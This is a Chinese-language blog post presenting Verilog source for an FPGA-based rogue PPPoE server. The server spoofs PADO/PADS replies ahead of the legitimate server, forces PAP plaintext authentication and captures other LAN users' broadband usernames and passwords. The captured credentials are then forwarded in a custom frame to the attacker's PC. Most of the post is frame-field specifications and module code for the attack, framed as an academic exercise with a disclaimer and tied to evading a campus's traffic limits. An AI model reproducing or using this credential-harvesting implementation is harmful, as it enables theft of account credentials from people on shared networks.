【源碼】基于FPGA的PPPoE協(xié)議獲取賬號密碼的攻擊實(shí)現(xiàn)
在與本頭條同名的微信公眾號之前的一篇文章《 西電免流量限制上網(wǎng)攻略!Python實(shí)現(xiàn)PPPOE攻擊工具,秒殺撥號上網(wǎng)》結(jié)尾布置了思考題,如何采用FPGA實(shí)現(xiàn)PPPoE的第一種攻擊,也就是獲取對方賬號密碼的攻擊。本文針對FPGA實(shí)現(xiàn)的第一種攻擊進(jìn)行詳細(xì)的介紹。FPGA實(shí)現(xiàn)方式具有非常好的硬件加速性能,竊取賬號密碼的成功率也會(huì)更高。因?yàn)?,較之前Python實(shí)現(xiàn)方式而言,在收到網(wǎng)絡(luò)上某臺計(jì)算機(jī)發(fā)送的PADI廣播包后,F(xiàn)PGA實(shí)現(xiàn)的偽裝的服務(wù)器具有相當(dāng)大的概率會(huì)搶在真正的服務(wù)器之前向該計(jì)算機(jī)發(fā)送欺騙幀(讓對方將自己的賬號密碼以明文的形式反饋回來)。本文的目的一方面提醒網(wǎng)絡(luò)安全的重要性,另一方面讓大家認(rèn)識到硬件加速力的重要性。試想,如果采用FPGA發(fā)起上文中提到的第三種DDOS攻擊,估計(jì)瞬間就會(huì)造成整個(gè)網(wǎng)絡(luò)的癱瘓。提升網(wǎng)絡(luò)安全意識,從一點(diǎn)一滴做起。
一開始,我們先回顧一下之前使用Python實(shí)現(xiàn)的軟件攻擊的過程。
Python實(shí)現(xiàn)的軟件攻擊回顧
對于PPPOE認(rèn)證上網(wǎng)的過程如下圖所示,分為發(fā)現(xiàn)階段和會(huì)話階段,發(fā)現(xiàn)階段分為PADI,PADO,PADR,PADS。
其中竊取賬號密碼的問題就出現(xiàn)在第一步PADI。PPPOE客戶端進(jìn)行連接時(shí),在PADI階段會(huì)發(fā)送一個(gè)廣播包,尋找局域網(wǎng)中的PPPOE服務(wù)器,從而完成認(rèn)證。
這時(shí)候我們需要做的是偽裝成PPPOE服務(wù)器,回復(fù)請求信息,搶先和客戶端通信,并強(qiáng)制客戶端使用明文傳輸方式,從而獲取賬號和密碼。下面我們通過wireshark抓一下數(shù)據(jù)包,更加直觀的觀察一下尋找PPPOE服務(wù)器的過程。點(diǎn)擊寬帶連接,使用Wireshark監(jiān)聽,會(huì)發(fā)現(xiàn)廣播包,這時(shí)候pppoe服務(wù)器會(huì)進(jìn)行回復(fù)。
攻擊場景:在本機(jī)電腦上開啟PPPOE欺騙程序,開始進(jìn)行監(jiān)聽,并在局域網(wǎng)中的其他電腦上進(jìn)行寬帶連接,觀察欺騙效果。如下圖所示,已經(jīng)成功欺騙出了賬號和密碼。
竊取賬號的部分代碼內(nèi)容如下:
FPGA實(shí)現(xiàn)攻擊必須完成的任務(wù)
PPPOE的認(rèn)證過程分兩個(gè)階段
發(fā)現(xiàn)階段:客戶機(jī)尋找并確定可用的服務(wù)器,得到會(huì)話ID
會(huì)話階段:在發(fā)現(xiàn)階段所確定的參數(shù)基礎(chǔ)上,依次完成鏈路控制協(xié)商、認(rèn)證和NCP協(xié)商
由于會(huì)話階段的認(rèn)證步驟中進(jìn)行用戶密碼傳輸,故FPGA偽裝至少完成:
1.發(fā)現(xiàn)階段
2.會(huì)話階段的鏈路控制協(xié)商
發(fā)現(xiàn)階段幀結(jié)構(gòu)
發(fā)現(xiàn)階段偽裝要做到兩點(diǎn),一是識別并記錄客戶機(jī)的PADI、PADR幀信息;二是發(fā)送對應(yīng)的PADO、PADS幀
發(fā)現(xiàn)階段:PADI幀的識別與PADO幀的發(fā)送
PADI幀識別特征
?幀類型域:0x8863(發(fā)現(xiàn)階段)
?PPPOE幀代碼域:0x09(PADI幀)
PADO幀發(fā)送
?目的MAC地址:客戶機(jī)地址(PADI幀中源MAC地址)
?幀類型域:0x8863(發(fā)現(xiàn)階段)
?PPPOE幀代碼域:0x07(PADO幀)
?靜載荷域:在收到的PADI幀的凈載荷后加上AC-NAME
發(fā)現(xiàn)階段:PADR幀的識別與PADS幀的發(fā)送
PADR幀識別特征
?幀類型域:0x8863(發(fā)現(xiàn)階段)
?PPPOE幀代碼域:0x19(PADR幀)
PADS幀發(fā)送
?目的MAC地址:客戶機(jī)地址(PADR幀中源MAC地址)
?幀類型域:0x8863(發(fā)現(xiàn)階段)
?PPPOE幀代碼域:0x65(PADS幀)
?會(huì)話ID:可統(tǒng)一設(shè)為不為0的固定值
?凈載荷域:與收到PADR幀的凈載荷相同
會(huì)話階段幀結(jié)構(gòu)
會(huì)話階段要做到:
1.發(fā)送認(rèn)證協(xié)議參數(shù)為0xc023(PAP協(xié)議)的Config-Request報(bào)文
2.識別客戶機(jī)發(fā)送的Config-Request報(bào)文并回應(yīng)Config-Ack報(bào)文
會(huì)話階段:Request幀的發(fā)送
LCP Configuration Request幀
?目的MAC地址:客戶機(jī)地址(PADR幀中源MAC地址)
?幀類型域:0x8864(會(huì)話階段)
?PPPOE幀代碼域:0x00(會(huì)話數(shù)據(jù))
?會(huì)話ID:可統(tǒng)一設(shè)為不為0的固定值
?點(diǎn)對點(diǎn)協(xié)議:0xc021(LCP協(xié)議)
?PPP LCP幀代碼域:0x01(Request幀)
?認(rèn)證協(xié)議:0xc023(PAP協(xié)議)
會(huì)話階段:Ack幀的發(fā)送
LCP Configuration Ack幀
?目的MAC地址:客戶機(jī)地址(Request幀中源MAC地址)
?幀類型域:0x8864(會(huì)話階段)
?PPPOE幀代碼域:0x00(會(huì)話數(shù)據(jù))
?會(huì)話ID:可統(tǒng)一設(shè)為不為0的固定值
?點(diǎn)對點(diǎn)協(xié)議:0xc021(LCP協(xié)議)
?PPP LCP幀代碼域:0x02(Ack幀)
?其余數(shù)據(jù)均與接收的Request幀保持一致即可
FPGA實(shí)現(xiàn)
1、u_pppoeattack_v1模塊
?解析識別0口接收到的PPPOED、PPP幀
?記錄特定幀的幀信息(源MAC地址、控制信息用寄存器保存,載荷用FIFO保存)
?根據(jù)接收的幀類型確定回復(fù)幀類型
?根據(jù)記錄的信息和回復(fù)幀類型向0口發(fā)送對應(yīng)幀
(1)解析識別0口接收到的PPPOED、PPP幀
首先獲取接收幀不同結(jié)構(gòu)位置下的數(shù)據(jù)
//獲取接收幀的幀類型、PPPOE類型、PPPOE會(huì)話ID always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin frame_type <= 16'b0; pppoed_code <= 8'b0 ; lcp_code <= 8'd0 ; pppoed_session_id <= 16'b0; end else if(read_frame_step == 9'd3) begin frame_type <= ff_rx_data[31:16]; pppoed_code<= ff_rx_data[7:0]; end else if(read_frame_step == 9'd4) begin pppoed_session_id <= ff_rx_data[31:16]; end else if(read_frame_step == 9'd5) begin lcp_code <= ff_rx_data[15:8]; end else begin frame_type <= 16'b0; pppoed_code <= 8'b0 ; pppoed_session_id <= 16'b0; lcp_code <= 8'd0 ; end end
(2)解析識別0口接收到的PPPOED、PPP幀
其次要根據(jù)獲取數(shù)據(jù)判斷接收幀類型,并在回復(fù)幀之前確定好回復(fù)幀類型
//確定該發(fā)送何種PPPOE幀 always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin send_frame_step_flag <= 4'd0; end else if(ff_tx_eop == 1'b1 && (send_frame_step_flag == PADS || send_frame_step_flag == PPP_LCP_ACK)) begin send_frame_step_flag <= PPP_LCP_REQUEST; end else if(ff_tx_eop == 1'b1) begin send_frame_step_flag <= 4'd0; end else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h09 && send_frame_step_flag == 4'd0) begin send_frame_step_flag <= PADO; end else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h19 && send_frame_step_flag == 4'd0) begin send_frame_step_flag <= PADS; end else if(frame_type == PPP_SESSION && lcp_code == 8'h01 && send_frame_step_flag == 4'd0) begin send_frame_step_flag <= PPP_LCP_ACK; end end
(3)解析識別0口接收到的PPPOED、PPP幀
記錄特定幀的幀信息
載荷用FIFO保存
payload_fifo u_payload_fifo ( .clk(clk), // input wire clk .rst(~reset_n), // input wire srst .din(ff_rx_data), // input wire [31 : 0] din .wr_en(payload_data_wren), // input wire wr_en .rd_en(payload_data_rden), // input wire rd_en .dout(fifo_payload_dout), // output wire [31 : 0] dout .full(payload_fifo_full), // output wire full .empty(payload_fifo_empty) // output wire empty );
源MAC地址等信息用寄存器保存
//獲取接收幀的目的MAC地址和源MAC地址 always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin des_addr <= 48'b0; sou_addr <= 48'b0; end else if(read_frame_step == 9'd0 && ff_rx_sop == 1'b1 && ff_rx_dval == 1'b1) begin des_addr[47:16] <= ff_rx_data; end else if(read_frame_step == 9'd1) begin des_addr[15:0] <= ff_rx_data[31:16]; sou_addr[47:32] <= ff_rx_data[15:0] ; end else if(read_frame_step == 9'd2) begin sou_addr[31:0] <= ff_rx_data; end end
(4)對應(yīng)幀的發(fā)送:依次將地址數(shù)據(jù)、幀格式數(shù)據(jù)以及載荷寫入到輸出數(shù)據(jù)信號并發(fā)送
//幀發(fā)送數(shù)據(jù)賦值 always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin ff_tx_data <= 32'b0; end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd0) begin ff_tx_data <= sou_addr[47:16]; //發(fā)送目的MAC地址(接收幀源地址) end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd1) begin ff_tx_data <= {sou_addr[15:0],MAC_ADDR[47:32]}; end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd2) begin ff_tx_data <= MAC_ADDR[31:0]; end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd3) begin ff_tx_data <= {send_frame_type,8'h11,send_pppoed_code}; end //發(fā)送幀類型數(shù)據(jù) else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd4) begin//發(fā)送會(huì)話ID及載荷長度 ff_tx_data <= {send_session_id,send_frame_payload_length}; end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd5 && send_ppp_type != 16'h0) begin//發(fā)送PPP和LCP幀類型以及分類碼 ff_tx_data <= {send_ppp_type,send_lcp_code,send_lcp_identifier}; end else if(send_frame_step_flag != 4'd0 && send_payload_flag == 1'b1) begin ff_tx_data <= fifo_payload_dout; //發(fā)送特定幀所需的之前記錄的接收幀載荷 end else if(send_frame_step_flag == PADO && send_frame_step > 9‘d4) //發(fā)送PADO幀載荷 begin if(send_cnt == 3'd4) ff_tx_data <= {AC_NAME[7:0],24'b0}; else if(send_cnt == 3'd3) ff_tx_data <= AC_NAME[39:8]; else if(send_cnt == 3'd2) ff_tx_data <= AC_NAME[71:40]; else if(send_cnt == 3'd1) ff_tx_data <= AC_NAME[103:72]; else if(send_cnt == 3'd0) ff_tx_data <= AC_NAME_TAG; end else if(send_frame_step_flag == PPP_LCP_REQUEST && send_frame_step > 9‘d4) //發(fā)送LCP_Request幀載荷 begin if(send_cnt == 3'd4) ff_tx_data <= LCP_OPTIONS[31:0]; else if(send_cnt == 3'd3) ff_tx_data <= LCP_OPTIONS[63:32]; else if(send_cnt == 3'd2) ff_tx_data <= LCP_OPTIONS[95:64]; else if(send_cnt == 3'd1) ff_tx_data <= LCP_OPTIONS[127:96]; else if(send_cnt == 3'd0) ff_tx_data <= LCP_OPTIONS[159:128]; end else begin ff_tx_data <= 32'b0; end end
2、u_pppoeattack_authen_forward模塊
?解析識別0口接收到的PPP_PAP幀、1口接收到的以太網(wǎng)幀
?記錄1口以太網(wǎng)幀的幀信息(源MAC地址用寄存器保存)
?記錄PPP_PAP幀的幀信息(載荷域的賬號密碼用FIFO保存)
?接收到PAP幀后向1口發(fā)送包含賬號密碼的自定義幀
(1)解析識別0口接收到的PPP_PAP幀、1口接收到的以太網(wǎng)幀與u_pppoeattack_v1模塊操作相同
//獲取1口接收以太網(wǎng)幀源MAC地址 always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin sou_addr_1 <= 48'hffffffffffff; end else if(read_frame_step_1 == 9'd1) begin sou_addr_1[47:32] <= ff_rx_data_1[15:0] ; end else if(read_frame_step_1 == 9'd2) begin sou_addr_1[31:0] <= ff_rx_data_1; end end //拉高寫使能信號,將PPP_PAP幀賬號密碼信息寫入FIFO always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin payload_data_wren <= 1'b0; end else if(payload_data_write_cnt >= (payload_length_4bytes - 1)) begin payload_data_wren <= 1'b0; end else if(frame_type == 16'h8864 && pppoed_code == 8'h00 && ff_rx_data_0[31:16] == 16'hc023 && ff_rx_data_0[15:8] == 8'h01 && payload_fifo_full == 1'b0 && read_frame_step == 9'd5) begin payload_data_wren <= 1'b1; end end
//將接收到PPP_PAP幀的賬號密碼信息打包為一個(gè)自定義幀通過1口發(fā)往上位機(jī) always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin ff_tx_data_1 <= 32'b0; end else if(ff_tx_eop_1 == 1'b1) begin ff_tx_data_1 <= 32'b0; end else if(send_frame_step == 9‘d1) //目的MAC地址 begin ff_tx_data_1 <= sou_addr_1[47:16]; end else if(send_frame_step == 9'd2) begin ff_tx_data_1 <= {sou_addr_1[15:0],MAC_ADDR[47:32]}; end else if(send_frame_step == 9‘d3) //板子源MAC地址 begin ff_tx_data_1 <= MAC_ADDR[31:0]; end else if(send_frame_step == 9‘d4) begin//自定義幀類型0x8817,0x23與0x02為數(shù)據(jù)起始符 ff_tx_data_1 <= {16‘h8817,8’h23,8‘h02}; end else if(send_frame_step == 9'd5) begin //0x2020為兩個(gè)空格,替換原無效數(shù)據(jù),0x25為數(shù)據(jù)分隔符% ff_tx_data_1 <= {16'h2020,8'h25,fifo_payload_dout[7:0]}; end else if(send_frame_step == send_frame_length_4bytes && send_frame_step > 9‘d5) //0x24表示數(shù)據(jù)結(jié)束符 begin ff_tx_data_1 <= {8'h24,24'h0}; end else if(send_frame_step > 9‘d5 && account_cnt > account_length) //在賬號與密碼之間加入一個(gè)0x25數(shù)據(jù)分隔符% begin if(account_length == account_cnt - 8'd4) ff_tx_data_1 <= {8'h25,fifo_payload_dout[23:0]}; else if(account_length == account_cnt - 8'd3) ff_tx_data_1 <= {fifo_payload_dout[31:24],8'h25,fifo_payload_dout[15:0]}; else if(account_length == account_cnt - 8'd2) ff_tx_data_1 <= {fifo_payload_dout[31:16],8'h25,fifo_payload_dout[7:0]}; else if(account_length == account_cnt - 8'd1) ff_tx_data_1 <= {fifo_payload_dout[31:8],8'h25}; else ff_tx_data_1 <= fifo_payload_dout; end else if(send_frame_step > 9'd5) begin ff_tx_data_1 <= fifo_payload_dout; end end
效果
溫馨提示:
文中內(nèi)容純粹為學(xué)術(shù)交流,若有同學(xué)自己練習(xí)引起的一切問題,本文概不負(fù)責(zé)。
全文完。
*博客內(nèi)容為網(wǎng)友個(gè)人發(fā)布,僅代表博主個(gè)人觀點(diǎn),如有侵權(quán)請聯(lián)系工作人員刪除。